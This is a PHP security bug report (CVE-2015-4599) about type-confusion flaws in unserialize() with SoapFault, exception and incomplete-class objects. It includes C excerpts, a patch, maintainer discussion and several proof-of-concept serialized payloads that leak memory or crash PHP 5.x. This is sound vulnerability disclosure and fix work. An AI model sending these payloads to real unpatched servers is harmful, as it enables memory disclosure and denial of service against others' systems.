php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #69152 Type Confusion Infoleak Vulnerability in unserialize() with SoapFault
Submitted: 2015-03-01 13:19 UTC Modified: 2016-02-11 13:33 UTC
From: taoguangchen at icloud dot com Assigned: stas
Status: Closed Package: SOAP related
PHP Version: 5.6.6 OS: *
Private report: No CVE-ID: 2015-4599
 [2015-03-01 13:19 UTC] taoguangchen at icloud dot com
Description:
------------
PHP_METHOD(SoapFault, __toString)
{
...
	faultcode   = zend_read_property(soap_fault_class_entry, this_ptr, "faultcode", sizeof("faultcode")-1, 1 TSRMLS_CC);
	faultstring = zend_read_property(soap_fault_class_entry, this_ptr, "faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC);
	file = zend_read_property(soap_fault_class_entry, this_ptr, "file", sizeof("file")-1, 1 TSRMLS_CC);
	line = zend_read_property(soap_fault_class_entry, this_ptr, "line", sizeof("line")-1, 1 TSRMLS_CC);
...
	len = spprintf(&str, 0, "SoapFault exception: [%s] %s in %s:%ld\nStack trace:\n%s",
	               Z_STRVAL_P(faultcode), Z_STRVAL_P(faultstring), Z_STRVAL_P(file), Z_LVAL_P(line),
	               Z_STRLEN_P(trace) ? Z_STRVAL_P(trace) : "#0 {main}\n");

	zval_ptr_dtor(&trace);

	RETURN_STRINGL(str, len, 0);
}

The Z_STRVAL_P macro lead to looking up an arbitrary valid memory address, and return a string via a integer-type zval that start from this memory address.
If the memory address is an invalid memory position, it should result in a crash.
The Z_LVAL_P macro lead to leaking memory address via a string-type zval that string value stored.

The following code should leak arbitrary memory or crash PHP:

<?php

$data = 'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0*\0".'file";i:4298447319;s:7:"'."\0*\0".'line";s:4:"ryat";}';
echo unserialize($data);

?>

Result(Test on standard MacOSX 10.10.2 installation of PHP 5.6.6.):

SoapFault exception: [UH??AWAVSPI??I??H????
 in UH??AWAVAUATSH???:4307253992           ] UH??SPD???*?????t"H?
Stack trace:
#0 test.php(4): unserialize('O:9:"SoapFault"...')
#1 {main}


Patches

sorry_mistake (last revision 2016-06-02 04:49 UTC) by hiroshi dot yanagisawa at fujixerox dot co dot jp)
add-fronk-support (last revision 2016-06-02 04:39 UTC) by hiroshi dot yanagisawa at fujixerox dot co dot jp)

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-03-01 13:24 UTC] taoguangchen at icloud dot com
The fix (available to PHP 5.5/5.6):

diff --git a/php-5.6.6/ext/soap/soap.c b/php-5.6.6-fixed/ext/soap/soap.c
index 6a250ba..ca87af7 100644
--- a/php-5.6.6/ext/soap/soap.c
+++ b/php-5.6.6-fixed/ext/soap/soap.c
@@ -917,6 +917,11 @@ PHP_METHOD(SoapFault, __toString)
 	faultstring = zend_read_property(soap_fault_class_entry, this_ptr, "faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC);
 	file = zend_read_property(soap_fault_class_entry, this_ptr, "file", sizeof("file")-1, 1 TSRMLS_CC);
 	line = zend_read_property(soap_fault_class_entry, this_ptr, "line", sizeof("line")-1, 1 TSRMLS_CC);
+	
+	convert_to_string(faultcode);
+	convert_to_string(faultstring);
+	convert_to_string(file);
+	convert_to_long(line);
 
 	ZVAL_STRINGL(&fname, "gettraceasstring", sizeof("gettraceasstring")-1, 0);
 [2015-03-01 15:24 UTC] laruence@php.net
in soap.c, there are some other codes like:

if (zend_hash_find(prop, "faultcode", sizeof("faultcode"), (void**)&tmp) == SUCCESS) {


then use tmp as string later without any type check.

is that also could be a problem?
 [2015-03-02 04:43 UTC] taoguangchen at icloud dot com
There are some similar bugs exists in other methods: SoapClient::__getLastRequest, SoapClient::__getLastResponse, SoapClient::__getLastRequestHeaders, SoapClient::__getLastResponseHeaders and etc.

PHP_METHOD(SoapClient, __getLastRequest)
{
	zval **tmp;
	
	if (zend_parse_parameters_none() == FAILURE) {
		return;
	}

	if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__last_request", sizeof("__last_request"), (void **)&tmp) == SUCCESS) {
		RETURN_STRINGL(Z_STRVAL_PP(tmp), Z_STRLEN_PP(tmp), 1);
	}
	RETURN_NULL();
}
 [2015-03-02 04:51 UTC] taoguangchen at icloud dot com
There are some similar bugs exists in other methods, and these bugs leak to execute arbitrary code.

SoapClient::__getCookies/SoapClient::__setCookie

PHP_METHOD(SoapClient, __getCookies)
{
	zval **cookies, *tmp;

	if (zend_parse_parameters_none() == FAILURE) {
		return;
	}

	array_init(return_value);

	if (zend_hash_find(Z_OBJPROP_P(this_ptr), "_cookies", sizeof("_cookies"), (void **)&cookies) != FAILURE) {
		zend_hash_copy(Z_ARRVAL_P(return_value), Z_ARRVAL_P(*cookies), (copy_ctor_func_t) zval_add_ref, (void *)&tmp, sizeof(zval*));
	}
}
 [2015-03-02 05:50 UTC] stas@php.net
I think more correct solution would be to either have a unserialize handler on these classes or ban serialization of them altogether, since inserting conversion in each place doesn't look like a good way to handle it - too easy to miss something.
 [2015-03-03 04:30 UTC] taoguangchen at icloud dot com
There is a similar bug exists in exception::getTraceAsString

ZEND_METHOD(exception, getTraceAsString)
{
	zval *trace;
	char *res, **str, *s_tmp;
	int res_len = 0, *len = &res_len, num = 0;

	DEFAULT_0_PARAMS;
	
	res = estrdup("");
	str = &res;

	trace = zend_read_property(default_exception_ce, getThis(), "trace", sizeof("trace")-1, 1 TSRMLS_CC);
	zend_hash_apply_with_arguments(Z_ARRVAL_P(trace) TSRMLS_CC, (apply_func_args_t)_build_trace_string, 3, str, len, &num);

I think that some similar bugs exists in other methods or functions. 
If you ban serialization of these classes, might break some features or webapp's code.
 [2015-03-20 14:58 UTC] taoguangchen at icloud dot com
There is a similar bug exists in __PHP_Incomplete_Class:

```
PHPAPI char *php_lookup_class_name(zval *object, zend_uint *nlen)
{
	zval **val;
	char *retval = NULL;
	HashTable *object_properties;
	TSRMLS_FETCH();

	object_properties = Z_OBJPROP_P(object);

	if (zend_hash_find(object_properties, MAGIC_MEMBER, sizeof(MAGIC_MEMBER), (void **) &val) == SUCCESS) {
		retval = estrndup(Z_STRVAL_PP(val), Z_STRLEN_PP(val));

		if (nlen) {
			*nlen = Z_STRLEN_PP(val);
		}
	}

	return retval;
}
...
static void incomplete_class_message(zval *object, int error_type TSRMLS_DC)
{
	char *class_name;
	zend_bool class_name_alloced = 1;

	class_name = php_lookup_class_name(object, NULL);

	if (!class_name) {
		class_name_alloced = 0;
		class_name = "unknown";
	}

	php_error_docref(NULL TSRMLS_CC, error_type, INCOMPLETE_CLASS_MSG, class_name);

	if (class_name_alloced) {
		efree(class_name);
	}
}
...
PHPAPI zend_class_entry *php_create_incomplete_class(TSRMLS_D)
{
	zend_class_entry incomplete_class;

	INIT_CLASS_ENTRY(incomplete_class, INCOMPLETE_CLASS, NULL);
	incomplete_class.create_object = php_create_incomplete_object;

	memcpy(&php_incomplete_object_handlers, &std_object_handlers, sizeof(zend_object_handlers));
	php_incomplete_object_handlers.read_property = incomplete_class_get_property;
	php_incomplete_object_handlers.has_property = incomplete_class_has_property;
	php_incomplete_object_handlers.unset_property = incomplete_class_unset_property;
	php_incomplete_object_handlers.write_property = incomplete_class_write_property;
	php_incomplete_object_handlers.get_property_ptr_ptr = incomplete_class_get_property_ptr_ptr;
    php_incomplete_object_handlers.get_method = incomplete_class_get_method;

	return zend_register_internal_class(&incomplete_class TSRMLS_CC);
}

The following code should leak memory block via an error message or crash PHP.

```
$x =  'O:4:"test":1:{s:27:"__PHP_Incomplete_Class_Name";R:1;}';
$z = unserialize($x);
$z->test();
```
 [2015-03-25 09:57 UTC] taoguangchen at icloud dot com
Some of these bugs has been fixed in latest PHP 5.4/5.5/5.6 series updates:

https://github.com/php/php-src/commit/0c136a2abd49298b66acb0cad504f0f972f5bfe8
https://github.com/php/php-src/commit/51856a76f87ecb24fe1385342be43610fb6c86e4

Some fix for these bugs has been committed:

https://github.com/php/php-src/commit/fb83c76deec58f1fab17c350f04c9f042e5977d1

Some of these bugs has not been fixed:

exception::getTraceAsString

The following code should crash PHP

<?php
$x = unserialize('O:9:"exception":1:{s:16:"'."\0".'Exception'."\0".'trace";s:4:"ryat";}');
echo $x;
?>
 [2015-03-25 10:35 UTC] taoguangchen at icloud dot com
BTW, this type confusion vulnerability in exception::getTraceAsString can lead to execute arbitrary code.
 [2015-04-06 05:21 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2015-04-16 20:33 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2015-04-16 20:33 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.

Should be fixed now. If new issues are identified in other code, please open a new bug.
 [2016-02-11 13:33 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-4599
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Mon Feb 20 22:01:35 2017 UTC